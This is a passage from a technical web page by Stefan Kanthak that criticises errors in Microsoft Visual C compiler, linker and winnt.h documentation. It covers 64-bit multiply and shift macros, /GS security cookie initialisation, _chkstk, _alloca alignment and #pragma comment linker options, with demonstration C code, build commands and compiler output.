Oops³: the value of the preprocessor macro SECURITY_MAX_SID_STRING_CHARACTERS (introduced with Windows 10 1703 alias Creators Update, codenamed Redstone 2) counts one minus sign to many and matches neither the ASCII art nor (the use of) the SID_IDENTIFIER_AUTHORITY structure – it should be (sizeof("S-15-65535") + sizeof("4294967295") * SID_MAX_SUB_AUTHORITIES) to match the former or (sizeof("S-15-255") + sizeof("4294967295") * SID_MAX_SUB_AUTHORITIES) to match the latter!

OUCH: there is no NULL characterNULL is a preprocessor macro defined as ((void *) 0)!

Blunder № 60

The documentation for the preprocessor macro Int32x32To64() states:
Multiplies two signed 32-bit integers, returning a signed 64-bit integer result. The function performs optimally on 32-bit Windows.
void Int32x32To64(
  [in]  a,
  [in]  b
)
[…]

Return value

None

Remarks

This function is implemented on all platforms by optimal inline code: a single multiply instruction that returns a 64-bit result.

Please note that the function's return value is a 64-bit value, not a LARGE_INTEGER structure.

OUCH¹: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?

The documentation for the preprocessor macro UInt32x32To64() states:

Multiplies two unsigned 32-bit integers, returning an unsigned 64-bit integer result. The function performs optimally on 32-bit Windows.
void UInt32x32To64(
  [in]  a,
  [in]  b
)
[…]

Return value

None

Remarks

This function is implemented on all platforms by optimal inline code: a single multiply instruction that returns a 64-bit result.

Please note that the function's return value is a 64-bit value, not a LARGE_INTEGER structure.

OUCH²: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?

The documentation for the preprocessor macro Int64ShllMod32() states:

Performs a left logical shift operation on an unsigned 64-bit integer value. The function provides improved shifting code for left logical shifts where the shift count is in the range 0-31.
void Int64ShllMod32(
  [in]  a,
  [in]  b
)
[…]

Return value

None

Remarks

[…] By restricting the shift count to the range 0-31, the Int64ShllMod32 function lets the compiler generate optimal or near-optimal code.

Please note that the Int64ShllMod32 function's Value parameter and return value are 64-bit values, not LARGE_INTEGER structures.

OUCH³: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?

The documentation for the preprocessor macro Int64ShraMod32() states:

Performs a right arithmetic shift operation on a signed 64-bit integer value. The function provides improved shifting code for right arithmetic shifts where the shift count is in the range 0-31.
void Int64ShraMod32(
  [in]  a,
  [in]  b
)
[…]

Return value

None

Remarks

[…] By restricting the shift count to the range 0-31, the Int64ShraMod32 function lets the compiler generate optimal or near-optimal code.

Please note that the Int64ShraMod32 function's Value parameter and return value are 64-bit values, not LARGE_INTEGER structures.

OUCH⁴: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?

The documentation for the preprocessor macro Int64ShrlMod32() states:

Performs a right logical shift operation on an unsigned 64-bit integer value. The function provides improved shifting code for right logical shifts where the shift count is in the range 0-31.
void Int64ShrlMod32(
  [in]  a,
  [in]  b
)
[…]

Return value

None

Remarks

[…] By restricting the shift count to the range 0-31, the Int64ShrlMod32 function lets the compiler generate optimal or near-optimal code.

Note

The Int64ShrlMod32 function's Value parameter and return value are 64-bit values, not LARGE_INTEGER structures.

OUCH⁵: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?

The header file winnt.h shipped with the Platform Windows Software Development Kits defines the preprocessor macros Int32x32To64(a, b) and UInt32x32To64(a, b) for widening 32-bit×32-bit integer multiplication plus the inline functions Int64ShllMod32(), Int64ShraMod32() and Int64ShrlMod32() for 64-bit integer shifts:

//
// Define operations to logically shift an int64 by 0..31 bits and to multiply
// 32-bits by 32-bits to form a 64-bit product.
//

#if defined(MIDL_PASS) || defined(RC_INVOKED) || defined(_M_CEE_PURE) \
    || defined(_68K_) || defined(_MPPC_) \
    || defined(_M_IA64) || defined(_M_AMD64) || defined(_M_ARM) || defined(_M_ARM64) \
    || defined(_M_HYBRID_X86_ARM64)

//
// Midl does not understand inline assembler. Therefore, the Rtl functions
// are used for shifts by 0..31 and multiplies of 32-bits times 32-bits to
// form a 64-bit product.
//
//
// IA64 and AMD64 have native 64-bit operations that are just as fast as their
// 32-bit counter parts. Therefore, the int64 data type is used directly to form
// shifts of 0..31 and multiplies of 32-bits times 32-bits to form a 64-bit
// product.
//

#define Int32x32To64(a, b)  (((__int64)((long)(a))) * ((__int64)((long)(b))))
#define UInt32x32To64(a, b) (((unsigned __int64)((unsigned int)(a))) * ((unsigned __int64)((unsigned int)(b))))

#define Int64ShllMod32(a, b) (((unsigned __int64)(a)) << (b))
#define Int64ShraMod32(a, b) (((__int64)(a)) >> (b))
#define Int64ShrlMod32(a, b) (((unsigned __int64)(a)) >> (b))


#elif defined(_M_IX86)

//
// The x86 C compiler understands inline assembler. Therefore, inline functions
// that employ inline assembler are used for shifts of 0..31.  The multiplies
// rely on the compiler recognizing the cast of the multiplicand to int64 to
// generate the optimal code inline.
//

#define Int32x32To64(a, b)  ((__int64)(((__int64)((long)(a))) * ((long)(b))))
#define UInt32x32To64(a, b) ((unsigned __int64)(((unsigned __int64)((unsigned int)(a))) * ((unsigned int)(b))))

[…]

__inline ULONGLONG
NTAPI
Int64ShllMod32 (
    _In_ ULONGLONG Value,
    _In_ DWORD ShiftCount
    )
{
    __asm    {
        mov     ecx, ShiftCount
        mov     eax, dword ptr [Value]
        mov     edx, dword ptr [Value+4]
        shld    edx, eax, cl
        shl     eax, cl
    }
}

__inline LONGLONG
NTAPI
Int64ShraMod32 (
    _In_ LONGLONG Value,
    _In_ DWORD ShiftCount
    )
{
    __asm {
        mov     ecx, ShiftCount
        mov     eax, dword ptr [Value]
        mov     edx, dword ptr [Value+4]
        shrd    eax, edx, cl
        sar     edx, cl
    }
}

__inline ULONGLONG
NTAPI
Int64ShrlMod32 (
    _In_ ULONGLONG Value,
    _In_ DWORD ShiftCount
    )
{
    __asm    {
        mov     ecx, ShiftCount
        mov     eax, dword ptr [Value]
        mov     edx, dword ptr [Value+4]
        shrd    eax, edx, cl
        shr     edx, cl
    }
}

[…]

#else

#error Must define a target architecture.

#endif
OUCH⁶: contrary to their documentations cited above as well as the first highlighted comment in the header file winnt.h cited above, the preprocessor macros Int64ShllMod32(), Int64ShraMod32() and Int64ShrlMod32() but shift by 0 to 63 bits instead of 0 to 31 bits – to comply with the functions defined in the header file winnt.h their second parameter must be masked with 31, i.e. (31 & (b)) instead of (b)!

OUCH⁷: contrary to the highlighted statements of their documentations cited above, the Visual C compiler does not generate code for the Int64ShllMod32(), Int64ShraMod32() and Int64ShrlMod32() functions – their bodies are written in i386 assembly!

CAVEAT: this awful mess should have been replaced since more than 20 years by the intrinsic functions __emul(), __emulu(), __ll_lshift(), __ll_rshift() and __ull_rshift() available with the Visual C compiler 2003 and later versions!

Fix

Create the text file blunder.h with the following contents and #include it in your source files:
// Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

#pragma once
#ifdef _M_IX86
#undef Int32x32To64	// BLUNDER: MSC generates call to _allmul() instead of inline code!
#undef UInt32x32To64

#pragma intrinsic(__emul, __emulu)
#define Int32x32To64	__emul
#define UInt32x32To64	__emulu

         __int64	__emul(int multiplicand, int multiplier);
unsigned __int64	__emulu(unsigned int multiplicand, unsigned int multiplier);

#pragma intrinsic(__ll_lshift, __ll_rshift, __ull_rshift)
#define Int64ShllMod32	__ll_lshift
#define Int64ShraMod32	__ll_rshift
#define Int64ShrlMod32	__ull_rshift

unsigned __int64	__ll_lshift(unsigned __int64 value, int count);
         __int64	__ll_rshift(__int64 value, int count);
unsigned __int64	__ull_rshift(unsigned __int64 value, int count);
#else
#undef Int64ShllMod32
#define Int64ShllMod32(a, b) (((unsigned __int64)(a)) << (31 & (b)))
#undef Int64ShraMod32
#define Int64ShraMod32(a, b) (((__int64)(a)) >> (31 & (b)))
#undef Int64ShrlMod32
#define Int64ShrlMod32(a, b) (((unsigned __int64)(a)) >> (31 & (b)))
#endif

Blunder № 61

The MSDN article Compiler Command-Line Syntax states:
You can specify any number of options, filenames, and library names, as long as the number of characters on the command line does not exceed 1024, the limit dictated by the operating system.
OUCH: Windows NT supports but up to 32767 characters on the command line!

Note: according to the MSKB article 830473, the command interpreter Cmd.exe supports up to 8191 characters on the command line.

Blunder № 62

The documentation for the /GS compiler option states:
The /GS compiler option requires that the security cookie be initialized before any function that uses the cookie is run. The security cookie must be initialized immediately on entry to an EXE or DLL. This is done automatically if you use the default VCRuntime entry points: mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup, or _DllMainCRTStartup. If you use an alternate entry point, you must manually initialize the security cookie by calling __security_init_cookie.
OOPS¹: contrary to the first highlighted statement of this documentation, the code generated by the Visual C compiler requires only that the (arbitrary) value of the security cookie does not change between entry and exit of any function which uses it!

OOPS²: TLS callback functions are called before the normal (default) entry points, conventionally named mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup and _DllMainCRTStartup!

OOPS³: contrary to the second highlighted statement of this documentation, there is no need to call the __security_init_cookie() function to (re)initialise the security cookie!

Note: this documentation also fails to provide the following (implementation) details:

The MSDN magazine articles Protecting Your Code with Visual C++ Defenses and Visual C++ Support for Stack-Based Buffer Protection provide additional information.

Demonstration

Perform the following 9 simple steps to show the true behaviour.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define _CRT_SECURE_NO_WARNINGS
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifndef _WIN64
    #ifdef BLUNDER
    DWORD_PTR	__security_cookie = 0UL;
    #else
    DWORD_PTR	__security_cookie = 0xBB40E64EUL;
    #endif		               // = 3141592654 = 10**9 * pi
    
    extern	LPVOID	__safe_se_handler_table[];
    extern	BYTE	__safe_se_handler_count;
    
    const	IMAGE_LOAD_CONFIG_DIRECTORY32	_load_config_used = {sizeof(_load_config_used),
    					                     'DATE',	// 0x44415445 = 2006-04-15 20:15:01 UTC
    					                     _MSC_VER / 100,
    					                     _MSC_VER % 100,
    					                     0UL, 0UL, 0UL, 0UL, 0UL, 0UL, 0UL, 0UL,
    					                     HEAP_GENERATE_EXCEPTIONS,
    					                     0UL, 0, 0, 0UL,
    					                     &__security_cookie,
    					                     __safe_se_handler_table,
    					                     &__safe_se_handler_count};
    #else // _WIN64
    #ifdef BLUNDER
    DWORD_PTR	__security_cookie = 0ULL;
    #else
    DWORD_PTR	__security_cookie = 0x00002B992DDFA232ULL;
    		               // = 3141592653589793241 >> 16
    #endif		               // = 10**18 / 2**16 * pi
    
    const	IMAGE_LOAD_CONFIG_DIRECTORY64	_load_config_used = {sizeof(_load_config_used),
    					                     'TIME',	// 0x54494D45 = 2014-10-23 18:47:33 UTC
    					                     _MSC_VER / 100,
    					                     _MSC_VER % 100,
    					                     0UL, 0UL, 0UL, 0ULL, 0ULL, 0ULL, 0ULL, 0ULL, 0ULL,
    					                     HEAP_GENERATE_EXCEPTIONS,
    					                     0, 0, 0ULL,
    					                     &__security_cookie,
    					                     0ULL,
    					                     0ULL};
    #endif // _WIN64
    
    #ifdef _DLL
    __declspec(dllexport)
    __declspec(safebuffers)
    BOOL	WINAPI	ConsoleCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie)
    {
    	WCHAR	szCookie[1024];
    	DWORD	dwCookie;
    	DWORD	dwConsole;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		return FALSE;
    #ifndef _WIN64
    	if (gsCookie == 0xBB40E64EUL)
    #else
    	if (gsCookie == 0x00002B992DDFA232ULL)
    #endif
    		dwCookie = wsprintf(szCookie,
    		                    L"%ls entry point: /GS security cookie is NOT initialised!\a\n",
    		                    lpCookie);
    	else if (gsCookie == 0)
    		dwCookie = wsprintf(szCookie,
    		                    L"%ls entry point: /GS security cookie is 0!\a\n",
    		                    lpCookie);
    	else
    		dwCookie = wsprintf(szCookie,
    		                    L"%ls entry point: /GS security cookie is initialised with 0x%p\n",
    		                    lpCookie, gsCookie);
    	if (dwCookie == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szCookie, dwCookie, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwCookie;
    }
    
    __declspec(dllexport)
    __declspec(safebuffers)
    BOOL	WINAPI	WindowsCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie)
    {
    	WCHAR	szCookie[1024];
    	DWORD	dwCookie;
    	UINT	uiCookie = MB_ICONERROR | MB_OK;
    #ifndef _WIN64
    	if (gsCookie == 3141592654UL)
    #else
    	if (gsCookie == 3141592653589793241ULL >> 16)
    #endif
    		wcscpy(szCookie, L"/GS security cookie is NOT initialised!\n");
    	else if (gsCookie == 0)
    		wcscpy(szCookie, L"/GS security cookie is 0!\n");
    	else
    	{
    		uiCookie = MB_ICONINFORMATION | MB_OK;
    		dwCookie = wsprintf(szCookie,
    		                    L"/GS security cookie is initialised with 0x%p\n",
    		                    gsCookie);
    		szCookie[dwCookie] = L'\0';
    	}
    
    	return MessageBoxEx(HWND_DESKTOP, szCookie, lpCookie, uiCookie,
    	                    MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL));
    }
    
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
    {
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	if (GetConsoleWindow() != NULL)
    		ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    	else
    		WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	return TRUE;
    }
    #else // _DLL
    __declspec(dllimport)
    BOOL	WINAPI	ConsoleCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie);
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	ExitProcess(GetLastError());
    }
    
    __declspec(dllimport)
    BOOL	WINAPI	WindowsCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie);
    
    __declspec(noreturn)
    VOID	CDECL	wWinMainCRTStartup(VOID)
    {
    	WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	ExitProcess(GetLastError());
    }
    #endif // _DLL
  2. Compile and link the source file blunder.c created in step 1. a first time to build the DLL blunder.dll and its import library blunder.lib:

    SET CL=/Oi /W4 /Zl
    SET LINK=/MACHINE:I386 /NODEFAULTLIB
    CL.EXE /LD /MD blunder.c kernel32.lib user32.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: blunder.dll is a pure Win32 DLL and builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    blunder.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    blunder.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    blunder.c(115) : warning C4100: 'lpReserved' : unreferenced formal parameter
    blunder.c(115) : warning C4100: 'hModule' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386 /NODEFAULTLIB
    /out:blunder.dll
    /dll
    /implib:blunder.lib
    blunder.obj
    kernel32.lib
    user32.lib
       Creating library blunder.lib and object blunder.exp
  3. Compile the source file blunder.c created in step 1. a second time and link it with the import library blunder.lib generated in step 2. to build the console application blunder.com:

    SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE /Feblunder.com blunder.c blunder.lib kernel32.lib user32.lib
    Note: blunder.com is a pure Win32 console application and builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    blunder.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    blunder.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.com
    blunder.obj
    blunder.lib
    kernel32.lib
    user32.lib
  4. Compile the source file blunder.c created in step 1. a third time, now with the preprocessor macro BLUNDER defined, and link it with the import library blunder.lib generated in step 2. to build the Windows application blunder.exe:

    SET LINK=/ENTRY:wWinMainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:WINDOWS
    CL.EXE /DBLUNDER blunder.c blunder.lib kernel32.lib user32.lib
    Note: blunder.exe is a pure Win32 application and builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    blunder.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    blunder.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wWinMainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:WINDOWS
    /out:blunder.exe
    blunder.obj
    blunder.lib
    kernel32.lib
    user32.lib
  5. Load and execute the DLL blunder.dll built in step 2., the console application blunder.com built in step 3. and the Windows application blunder.exe built in step 4. under Windows 7:

    [Screen shot of message box from 32-bit application on Windows 7] [Screen shot of message box from 32-bit DLL on Windows 7] [Screen shot of message box from 32-bit DLL on Windows 7]

    CONTROL.EXE "%CD%\blunder.dll"
    .\blunder.com
    .\blunder.exe

    __DllMainCRTStartup@12 entry point: /GS security cookie is initialised with 0xA7CF5A3A
    _wmainCRTStartup entry point: /GS security cookie is NOT initialised!
  6. Load and execute them under Windows 10:

    __DllMainCRTStartup@12 entry point: /GS security cookie initialised with 0xC97D2381
    _wmainCRTStartup entry point: /GS security cookie initialised with 0xAB5E5CC5
  7. Compile and link the source file blunder.c created in step 1. three more times to build blunder.dll, blunder.com and blunder.exe for the x64 alias AMD64 processor architecture: execute them:

    SET CL=/Oi /W4 /Zl
    SET LINK=/MACHINE:AMD64 /NODEFAULTLIB
    CL.EXE /LD /MD blunder.c kernel32.lib user32.lib
    SET LINK=/ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE /Feblunder.com blunder.c blunder.lib kernel32.lib user32.lib
    SET LINK=/ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:WINDOWS
    CL.EXE /DBLUNDER blunder.c blunder.lib kernel32.lib user32.lib
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    blunder.c(115) : warning C4100: 'lpReserved' : unreferenced formal parameter
    blunder.c(115) : warning C4100: 'hModule' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:AMD64 /NODEFAULTLIB
    /out:blunder.dll
    /dll
    /implib:blunder.lib
    blunder.obj
    kernel32.lib
    user32.lib
       Creating library blunder.lib and object blunder.exp
    
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.com
    blunder.obj
    blunder.lib
    kernel32.lib
    user32.lib
    
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:WINDOWS
    /out:blunder.exe
    blunder.obj
    blunder.lib
    kernel32.lib
    user32.lib
  8. Load and execute them under Windows 7:

    [Screen shot of message box from 64-bit application on Windows 7] [Screen shot of message box from 64-bit DLL on Windows 7] [Screen shot of message box from 64-bit DLL on Windows 7]

    CONTROL.EXE "%CD%\blunder.dll"
    .\blunder.com
    .\blunder.exe
    _DllMainCRTStartup entry point: /GS security cookie is NOT initialised!
    wmainCRTStartup entry point: /GS security cookie is NOT initialised!
    Oops:
  9. Load and execute them under Windows 10:

    CONTROL.EXE "%CD%\blunder.dll"
    .\blunder.com
    .\blunder.exe
    _DllMainCRTStartup entry point: /GS security cookie is initialised with 0x0000DBFB09758927
    wmainCRTStartup entry point: /GS security cookie is initialised with 0x0000B0631190DAB2

Blunder № 63

The documentation for the /Gs compiler option states in its Remarks section:
A stack probe is a sequence of code that the compiler inserts at the beginning of a function call. When initiated, a stack probe reaches benignly into memory by the amount of space required to store the function's local variables. This probe causes the operating system to transparently page in more stack memory if necessary, before the rest of the function runs.

By default, the compiler generates code that initiates a stack probe when a function requires more than one page of stack space. This default is equivalent to a compiler option of /Gs4096 for x86, x64, ARM, and ARM64 platforms. This value allows an application and the Windows memory manager to increase the amount of memory committed to the program stack dynamically at run time.

The documentation for the Visual C compiler helper routine _chkstk() states since more than 20 years in its Remarks section:
_chkstk Routine is a helper routine for the C compiler. For x86 compilers, _chkstk Routine is called when the local variables exceed 4K bytes; for x64 compilers it is 8K.
OUCH: the correct value for x64 alias AMD64 compilers processors is but 4096 too – 8192 is was used only by (compilers for) IA64 alias Itanium® processors!

Blunder № 64

The documentation for the Visual C compiler helper routine _alloca() states since more than 20 years in its Remarks section:
Allocates memory on the stack. […]

The _alloca routine returns a void pointer to the allocated space, which is guaranteed to be suitably aligned for storage of any type of object. […]

Falsification

Perform the following 3 simple steps to prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file alloca.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    void	*mainCRTStartup(void)
    {
    	return _alloca(42);
    }
  2. Compile and link the source file alloca.c created in step 1.:

    SET CL=/GAFS- /Oxy /W4 /X
    SET LINK=/ENTRY:mainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    CL.EXE alloca.c
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    alloca.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    /out:alloca.exe
    alloca.obj
  3. Execute the console application alloca.exe built in step 2. and evaluate its exit code:

    .\alloca.exe
    ECHO %ERRORLEVEL%
    SET /A %ERRORLEVEL% % 16
    3733996
    12
    OUCH¹: memory objects referenced by SSE instructions require but a 16 byte alignment!

    OUCH²: for constant arguments less than 64 the Visual C compiler generates calls to the _alloca_probe routine which returns but an unaligned pointer!

Blunder № 65

The MSDN article Inline Assembler states:
Inline assembly is not supported on the Itanium and x64 processors.
The documentation for the _emit Pseudoinstruction but states:
[…] if _emit generates an instruction that modifies the rax register, the compiler does not know that rax has changed. […]
OUCH: the RAX register exists only on the AMD64 platform, where inline assembly via the __asm keyword is but not supported!

Blunder № 66

The MSDN article #pragma comment states:
Places a comment record into an object file or executable file.

Syntax

#pragma comment( comment-type [ , "comment-string" ] )

Remarks

The comment-type is one of the predefined identifiers, described below, that specifies the type of comment record. The optional comment-string is a string literal that provides additional information for some comment types. Because comment-string is a string literal, it obeys all the rules for string literals on use of escape characters, embedded quotation marks ("), and concatenation.

[…]

linker

Places a linker option in the object file. You can use this comment-type to specify a linker option instead of passing it to the command line or specifying it in the development environment. For example, you can specify the /include option to force the inclusion of a symbol:

#pragma comment(linker, "/include:__mySymbol")
Only the following (comment-type) linker options are available to be passed to the linker identifier:
OUCH: the highlighted statement of this documentation is but misleading and wrong – while the Visual C compiler accepts arbitrary strings as linker options and writes them into the .drectve section of the object file, the linker rejects all options except the 6 options cited above plus the 15 options enumerated below with error LNK1276 or warning LNK4229!
/ALIGN
/ALTERNATENAME
/ASSEMBLYMODULE
/BASE
/CLRTHREADATTRIBUTE
/DLL
/DISALLOWLIB
/ENTRY
/HEAP
/INCREMENTAL
/NODEFAULTLIB
/OUT
/STACK
/SUBSYSTEM
/VERSION

Falsification

Perform the following 2 simple steps to prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2001-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    int	blunder(void *module, int reason, void *context)
    {
    	return module != context, reason == 1;
    
    #pragma comment(linker, "/ALIGN:4096")
    #pragma comment(linker, "/ALTERNATENAME:@=" __FUNCDNAME__)
    #pragma comment(linker, "/ASSEMBLYMODULE:@")
    #pragma comment(linker, "/BASE:0")
    #pragma comment(linker, "/CLRTHREADATTRIBUTE:NONE")
    #pragma comment(linker, "/DEFAULTLIB:libcmt.lib")
    #pragma comment(linker, "/DISALLOWLIB:msvcrt.lib")
    #pragma comment(linker, "/DISALLOWLIB:oldnames.lib")
    #pragma comment(linker, "/DLL")
    #pragma comment(linker, "/ENTRY:" __FUNCTION__)
    #pragma comment(linker, "/EXPORT:@")
    #pragma comment(linker, "/HEAP:0,0")
    #pragma comment(linker, "/INCLUDE:@")
    #pragma comment(linker, "/INCREMENTAL")
    #pragma comment(linker, "/MANIFESTDEPENDENCY:name='@'")
    #pragma comment(linker, "/MERGE:.rdata=.const")
    #pragma comment(linker, "/MERGE:.text=.code")
    #pragma comment(linker, "/NODEFAULTLIB")
    #pragma comment(linker, "/OUT:blunder.dll")
    #pragma comment(linker, "/SECTION:.bss,d")
    #pragma comment(linker, "/STACK:0,0")
    #pragma comment(linker, "/SUBSYSTEM:WINDOWS")
    #pragma comment(linker, "/VERBOSE")
    #pragma comment(linker, "/VERSION:0.815")
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/Gz /W4 /X /Zl
    SET LINK=
    CL.EXE blunder.c
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /out:blunder.exe
    blunder.obj
    blunder.obj : warning LNK4070: /OUT:blunder.dll directive in .EXP differs from output filename 'blunder.exe'; ignoring directive
    blunder.obj : warning LNK4229: invalid directive '/VERBOSE' encountered; ignored
       Creating library blunder.lib and object blunder.exp
Note: a repetition of this falsification in the 64-bit development environment is left as an exercise to the reader.

Blunder № 67

The documentation for the /ENTRY:‹symbol› linker option states in its Remarks section:
Remarks

The /ENTRY option specifies an entry point function as the starting address for an .exe file or DLL.

The function must be defined to use the __stdcall calling convention. The parameters and return value depend on if the program is a console application, a windows application or a DLL. It is recommended that you let the linker set the entry point so that the C run-time library is initialized correctly, and C++ constructors for static objects are executed.

By default, the starting address is a function name from the C run-time library. The linker selects it according to the attributes of the program, as shown in the following table.

Function name Default for
mainCRTStartup
(or wmainCRTStartup)
An application that uses /SUBSYSTEM:CONSOLE; calls main (or wmain)
WinMainCRTStartup
(or wWinMainCRTStartup)
An application that uses /SUBSYSTEM:WINDOWS; calls WinMain (or wWinMain), which must be defined to use __stdcall
_DllMainCRTStartup A DLL; calls DllMain if it exists, which must be defined to use __stdcall

If the /DLL or /SUBSYSTEM option is not specified, the linker selects a subsystem and entry point depending on whether main or WinMain is defined.

The functions main, WinMain, and DllMain are the three forms of the user-defined entry point.

Ouch: no prototypes are provided for the entry point functions!

The MSDN article Format of a C Decorated Name specifies:

The form of decoration for a C function depends on the calling convention used in its declaration, as shown below. Note that in a 64-bit environment, functions are not decorated.

Calling convention Decoration
__cdecl (the default) Leading underscore (_)
__stdcall Leading underscore (_) and a trailing at sign (@) followed by a number representing the number of bytes in the parameter list
The MSDN articles __cdecl and __stdcall provide more details.

Note: the main() and wmain() functions always use the __cdecl calling and naming convention!

Falsification

